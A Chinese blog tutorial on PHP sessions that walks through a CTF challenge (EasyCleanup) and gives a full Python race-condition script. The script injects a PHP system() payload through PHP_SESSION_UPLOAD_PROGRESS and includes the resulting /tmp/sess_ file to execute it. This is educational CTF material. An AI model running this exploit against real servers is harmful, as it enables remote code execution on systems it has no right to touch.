PHP的session文件包含与竞争

lamaper@qq.com

lamaper - 博客园 (cnblogs.com)

一、什么是Session

Session:在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。

由于html的特性,多个请求之间无关联,如果在/xxx.html中为登录状态,那么跳转到/yyy.html就会变成默认的未登录状态,seesion的出现是为了弥补这一缺陷,让每一个用户在多个请求中状态一致。

session是保存在服务端的,与之相对的是cookie,cookie是保存在客户端的。每当用户使用一浏览器开始对服务器发出请求,一个session就会被创建,当用户关闭浏览器结束访问,session会被删除。所以用同一个ip访问同一个网站,如果浏览器不同,用户状态也是不同的,所以session创建的标准是浏览器而不是ip。session不随刷新页面而消失。

以下内容以php举例

每次我们访问一个页面,如果有开启session,也就是有session_start() 时,就会自动生成一个session_id 来标注是这次会话的唯一ID,同时也会自动往cookie里写入一个名字为PHPSESSID的变量,它的值正是session_id,当这次会话没结束,再次访问的时候,服务器会去读取这个PHPSESSID的cookie是否有值有没过期,如果能够读取到,则继续用这个session_id,如果没有,就会新生成一个session_id,同时生成PHPSESSID这个cookie。由于默认生成的这个PHPSESSID cookie是会话,也就是说关闭浏览器就会过期掉,所以,下次重新浏览时,会重新生成一个session_id。

这个session是32位的。

session的存储地址在php.ini文件中会被标明,一般最后一级目录会是\tmp,当一个会话开始的时候,服务器会在目录下写入sess_xxxxxxxxxx文件,下划线后的就是这个会话的session_id。

二、一些session的服务端操作

一般我们通过$_SESSION['<变量名>'] = ....将一些数据存储在session中。这些数据最终会被以序列化后的格式存储在sess_文件中。session.save_handler = files 表示的是session的存储方式,默认的是files文件的方式保存。

一些常用的函数与参数

save_handler不仅仅只能用文件files,还可以用我们常见的memcache 和 redis 来保存。

session.use_cookies 默认是1,表示会在浏览器里创建值为PHPSESSID的session_id,session.name = PHPSESSID 找个配置就是改这个名字的,这个名称可以进行修改,如修改成PhPP,就会在浏览器cookie中创建PhPP的sessionid。

session.auto_start = 0用来是否需要自动开启session,默认是不开启的,所有我们需要在代码中用到session_start();函数开启,如果设置成1,那么session_id 也会自动就生成了。

session.cookie_lifetime = 0这个是设置在客户端生成PHPSESSID这个cookie的过期时间,默认是0,也就是关闭浏览器就过期,下次访问,会再次生成一个session_id。所以,如果想关闭浏览器会话后,希望session信息能够保持的时间长一点,可以把这个值设置大一点,单位是秒。

gc_divisor, gc_probability, gc_maxlifetime是回收这些sess_xxxxx 的文件,它是按照这3个参数,组成的比率,来启动GC删除这些过期的sess文件。gc_maxlifetime是sess_xxx文件的过期时间。

三、session恶意代码

phpinfo()中存在这些数据

1,session.save_handler  files   files
   表示session以文件的形式存储。
2,session.save_path /tmp /tmp
   表示session存储目录在/tmp下。
3,session.serialize_handler php php
   表示反序列化和序列号的处理器是PHP。
4,session.upload_progress.cleanup On On
   表示文件上传结束后,php会立即清除对应session文件中的内容。
5,session.upload_progress.enabled On On
   表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
6,session.upload_progress.freq 1% 1%
7,session.upload_progress.min_freq 1 1
   freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
8,session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
9,session.upload_progress.prefix upload_progress_ upload_progress_
   prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名
10,session.use_cookies On On
   表示使用cookie记录sessionid。
11,session.use_only_cookies On On
   表示是否在客户端仅仅使用 cookie 来存放会话 ID。
12,session.use_strict_mode Off Off
   值为off,表示Cookie中的sessionid可控。

一般来说PHP_SESSION_UPLOAD_PROGRESS是开的,所以我们一般会往这个键值中写入恶意代码,然后让整个sess文件被文件包含后解析代码,最终执行代码。

NSSCTF - 第五空间 2021\EasyCleanup (ctfer.vip)为例

服务端代码出现

if(isset($_GET['file'])){ 
   if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
   include $_GET['file'];
}

我们考虑进行文件包含,之后使用其他方法先对phpinfo进行查看,观察是否关闭了session.upload_progress.cleanup,若没有则可以直接使用burp上传恶意代码,若存在则需要不停上传同一个session来确保恶意代码能够执行。

四、脚本编写

我们一般通过python进行脚本编写(python版本3.8+)

首先导入两个库

import threading
import requests

requests用来进行网络请求,threading用来分离线程,做到不断循环上传session从而竞争。

定义基本信息

target_url = "http://xxx.xxx.xxx.xxx/index.php"#据情况而定
session_id = "flag"#自行决定
expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要执行的代码
MyCookie = {'PHPSESSID': sessid}#设置本地cookie值和自定义的session_id一致
proxies = {
   "http": "127.0.0.1:8080",
}#设置本机代理,也可以不设置

编写竞争函数

def send_file(session):#形参为后面多线程的指令集提供入口
   while True:
       resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)

不停的上传同样的post请求。将结果存于res.txt中。

编写读取信息函数

def getflag(session):
   while True:
       payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
       #根据漏洞进行伪协议读取文件
       resp = requests.get(url=payload_url)
       if 'upload_progress' in resp.text:
           print(resp.text)
           break

main函数

if __name__ == '__main__':
   session = requests.session()
   t = threading.Thread(target=send_file, args=(session,))#为竞争函数创建一个新线程
   t.start()
   #两个线程独立运行
   getflag(session)

完整代码

import threading
import requests

target_url = "http://xxx.xxx.xxx.xxx/index.php"#据情况而定
session_id = "flag"#自行决定
expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要执行的代码
MyCookie = {'PHPSESSID': sessid}#设置本地cookie值和自定义的session_id一致
proxies = {
   "http": "127.0.0.1:8080",
}#设置本机代理,也可以不设置

def send_file(session):#形参为后面多线程的指令集提供入口
   while True:
       resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
       
def getflag(session):
   while True:
       payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
       #根据漏洞进行伪协议读取文件
       resp = requests.get(url=payload_url)
       if 'upload_progress' in resp.text:
           print(resp.text)
           break

if __name__ == '__main__':
   session = requests.session()
   t = threading.Thread(target=send_file, args=(session,))#为竞争函数创建一个新线程
   t.start()
   #两个线程独立运行
   getflag(session)

五、参考文献与拓展

什么是session | 许小珂 (xuxiaoke.com)

从第五空间 2021\EasyCleanup认识php_session_Aiwin-Lau的博客-CSDN博客

PHP Session.upload_progress - chalan630 - 博客园 (cnblogs.com)

PHP:会话上传进度 (php官网)

对于session.upload_progress漏洞的理解_huamanggg的博客-CSDN博客

详解利用session进行文件包含合天网安实验室的博客-CSDN博客session文件包含

 

PHP的session文件包含与竞争的更多相关文章

  1. CTF 文件包含

    目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...

  2. 应用安全 - Web安全 - 文件包含攻防

    LFI - 无限制本地文件包含 通过目录遍历漏洞可以获取到系统中其他文件的内容 常见的敏感信息路径 Windows系统 c:\boot.ini // 查看系统版本 c:\windows\system3 ...

  3. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

  4. web安全原理-文件包含漏洞

    前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的 ...

  5. web文件包含

    web安全~文件包含总结   文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当P ...

  6. web安全~文件包含总结

    文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...

  7. 文件包含 & LFI-labs靶场

    文件包含漏洞学习 冲冲冲,好好学习 2020.1.30 认真对待自己做出的每一个决定 知识与实践 Q:什么是文件包含? A:简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含 ...

  8. ✔PHP文件包含漏洞全面总结

    我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...

  9. cve-2018-12613-PhpMyadmin后台文件包含漏洞

    前言 刚开始复现这个漏洞的时候是在自己的本机上然后跟着大佬的复现步骤可是没有预期的结果最后看了另一篇文章 当时整个人都麻了            首先何为phpMyAdmin 根据官方的说明phpMy ...

  10. CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

    一.    漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...

随机推荐

  1. 华为云服务器8000通道映射到本地,本地浏览器访问jupyter

    首先你得有个华为云服务器(这不是废话) 第二你得开放它的端口(重点) 第三打开本地cmd 输入ssh -L [客户端IP或省略]:[客户端端口]:[服务器IP]:[服务器端口] [登陆服务器的用户名] ...

  2. 2023牛客寒假算法基础集训营6 A-L

    比赛链接 A 题解 知识点:模拟. 如题. 代码 #include <bits/stdc++.h> using namespace std; using ll = long long; i ...

  3. 鸣人的影分身(等级考试4级 2021-03 T3)

    题目: 此题题干又臭又长,直接看简化版. 鸣人的影分身(等级考试4级 2021-03 T3)等效于 把m个苹果分到n个盘子中,问有几种可能? dp[i][j]表示有i个盘子j个苹果时有多少种放法. 用 ...

  4. 什么是push通知栏消息?

    我是3y,一年CRUD经验用十年的markdown程序员‍常年被誉为职业八股文选手 今天继续更新Austin,给Austin新增一个发送渠道(PUSH通知栏推送) Push通知栏消息是非常常见的,几乎 ...

  5. python爬虫学习——元组,字典(2.14日博客补)

    元组 ''' tup1 = () #创建一个空的元组 print(type(tup1)) #tup2 = (50) #不是元组,python把括号当成了表达式的一部分,即数学运算的括号 #tup2 = ...

  6. .net core 从(本地)服务器获取APK文件并解析APK信息

    1.apk解析除了使用客户端利用aapt.exe.unzip.exe开发客户端解析外,还可以直接利用服务进行解析 /// <summary> /// 从本地服务器获取APK文件并解析APK ...

  7. Gold Transportation

    题目 百度 分析 很容易想到二分答案 然后考虑判定 条件很多,奇奇怪怪 那就上网络流吧 边权 \(\leq mid\) 两个城市连边 \(inf\) 源点与所有城市连边,边权为本城市有金矿量 城市与自 ...

  8. 题解 [ZJOI2010]排列计数

    好题. % 你赛考到了不会摆烂,后来发现原来有向下取整,题面没有...( 就算有我也做不出来啦 qAq 首先我们会发现这个长得就是小根堆,答案就变成了小根堆的计数. 首先最小的数字肯定放在根的位置.我 ...

  9. 公司有两台电脑,却分给一个上网ip

    解决办法,只限于本公司: 电脑a和电脑b 电脑a先用ip 6.21上网,之后将ip改为其它: 电脑b改为6.21 此时两台电脑都能上网了

  10. MySQL线程池、连接池等概念

    一.MySQL连接池 1 连接池通常实现在client端,是指应用(客户端)预先创建一定的连接,利用这些连接服务于客户端所有的DB请求. 2 如果某一个时刻,空闲的连接数小于DB的请求数,则需要将请求 ...